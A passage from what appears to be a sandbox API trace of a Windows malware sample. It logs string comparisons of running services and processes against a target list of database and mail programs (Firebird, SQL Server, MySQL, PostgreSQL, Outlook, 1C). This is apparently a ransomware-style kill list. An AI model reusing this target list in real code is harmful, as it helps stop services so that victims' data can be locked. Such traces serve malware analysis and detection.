lpString2="RpcSs") returned 1 [0061.935] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0061.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0061.935] lstrlenW (lpString="SamSs") returned 5 [0061.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0061.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0061.935] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0061.935] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0061.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0061.935] lstrlenW (lpString="Schedule") returned 8 [0061.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0061.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0061.935] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0061.935] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0061.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0061.935] lstrlenW (lpString="SENS") returned 4 [0061.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0061.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0061.936] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0061.936] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0061.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0061.936] lstrlenW (lpString="ShellHWDetection") returned 16 [0061.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.936] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0061.936] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0061.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0061.936] lstrlenW (lpString="Spooler") returned 7 [0061.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0061.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0061.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0061.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0061.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0061.936] lstrlenW (lpString="swprv") returned 5 [0061.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0061.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0061.936] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0061.936] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0061.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0061.936] lstrlenW (lpString="SysMain") returned 7 [0061.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0061.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0061.936] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0061.936] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0061.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0061.936] lstrlenW (lpString="Themes") returned 6 [0061.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0061.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0061.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0061.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0061.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0061.937] lstrlenW (lpString="TrkWks") returned 6 [0061.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0061.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0061.937] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0061.937] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0061.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0061.937] lstrlenW (lpString="UxSms") returned 5 [0061.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0061.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0061.937] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0061.937] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0061.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0061.937] lstrlenW (lpString="VSS") returned 3 [0061.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0061.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0061.937] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0061.937] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0061.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0061.937] lstrlenW (lpString="WdiServiceHost") returned 14 [0061.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.937] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0061.937] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0061.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0061.937] lstrlenW (lpString="WdiSystemHost") returned 13 [0061.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.938] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0061.938] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0061.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0061.938] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0061.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.938] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0061.938] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0061.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0061.938] lstrlenW (lpString="Winmgmt") returned 7 [0061.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0061.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0061.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0061.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0061.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0061.938] lstrlenW (lpString="WPDBusEnum") returned 10 [0061.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0061.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0061.938] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0061.938] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0061.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0061.938] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f00060 | out: hHeap=0x5a0000) returned 1 [0061.938] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x164 [0061.941] Process32FirstW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0061.941] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0061.942] lstrlenW (lpString="System") returned 6 [0061.942] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0061.942] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0061.942] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0061.942] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0061.942] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0061.942] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0061.942] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0061.942] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0061.943] lstrlenW (lpString="smss.exe") returned 8 [0061.943] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0061.943] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0061.943] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0061.943] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0061.943] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0061.943] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0061.943] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0061.943] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.943] lstrlenW (lpString="csrss.exe") returned 9 [0061.943] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0061.943] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0061.944] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0061.944] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0061.944] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0061.944] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0061.944] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0061.944] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0061.944] lstrlenW (lpString="wininit.exe") returned 11 [0061.944] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0061.944] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0061.944] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0061.944] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.945] lstrlenW (lpString="csrss.exe") returned 9 [0061.945] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0061.946] lstrlenW (lpString="winlogon.exe") returned 12 [0061.946] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0061.946] lstrlenW (lpString="services.exe") returned 12 [0061.946] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0061.947] lstrlenW (lpString="lsass.exe") returned 9 [0061.947] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0061.947] lstrlenW (lpString="lsm.exe") returned 7 [0061.947] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.948] lstrlenW (lpString="svchost.exe") returned 11 [0061.948] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.948] lstrlenW (lpString="svchost.exe") returned 11 [0061.948] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.949] lstrlenW (lpString="svchost.exe") returned 11 [0061.949] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.949] lstrlenW (lpString="svchost.exe") returned 11 [0061.950] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.950] lstrlenW (lpString="svchost.exe") returned 11 [0061.950] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0061.951] lstrlenW (lpString="audiodg.exe") returned 11 [0061.951] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.951] lstrlenW (lpString="svchost.exe") returned 11 [0061.951] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.952] lstrlenW (lpString="svchost.exe") returned 11 [0061.952] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0061.952] lstrlenW (lpString="dwm.exe") returned 7 [0061.952] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0061.953] lstrlenW (lpString="explorer.exe") returned 12 [0061.953] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0061.953] lstrlenW (lpString="spoolsv.exe") returned 11 [0061.953] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.954] lstrlenW (lpString="taskhost.exe") returned 12 [0061.954] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.954] lstrlenW (lpString="svchost.exe") returned 11 [0061.954] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0061.955] lstrlenW (lpString="taskeng.exe") returned 11 [0061.955] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.955] lstrlenW (lpString="taskhost.exe") returned 12 [0061.956] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0061.956] lstrlenW (lpString="promotesrouting.exe") returned 19 [0061.956] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0061.957] lstrlenW (lpString="rxcalled.exe") returned 12 [0061.957] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0061.957] lstrlenW (lpString="off.exe") returned 7 [0061.957] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0061.958] lstrlenW (lpString="mayorintl.exe") returned 13 [0061.958] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0061.958] lstrlenW (lpString="gzip-june.exe") returned 13 [0061.958] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0061.959] lstrlenW (lpString="lsnavy.exe") returned 10 [0061.959] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0061.960] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0061.960] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0061.960] lstrlenW (lpString="specifications.exe") returned 18 [0061.960] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0061.961] lstrlenW (lpString="soup-mario.exe") returned 14 [0061.961] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0061.961] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0061.961] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0061.962] lstrlenW (lpString="platformsprivate.exe") returned 20 [0061.962] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0061.962] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0061.962] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0061.963] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0061.963] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0061.963] lstrlenW (lpString="scan-allows.exe") returned 15 [0061.963] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0061.964] lstrlenW (lpString="mwprovince.exe") returned 14 [0061.964] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0061.964] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0061.964] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0061.965] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0061.965] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0061.965] lstrlenW (lpString="contacting.exe") returned 14 [0061.966] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0061.966] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0061.966] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0061.967] lstrlenW (lpString="jpmanagers.exe") returned 14 [0061.967] Process32NextW (in: hSnapshot=0x164, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 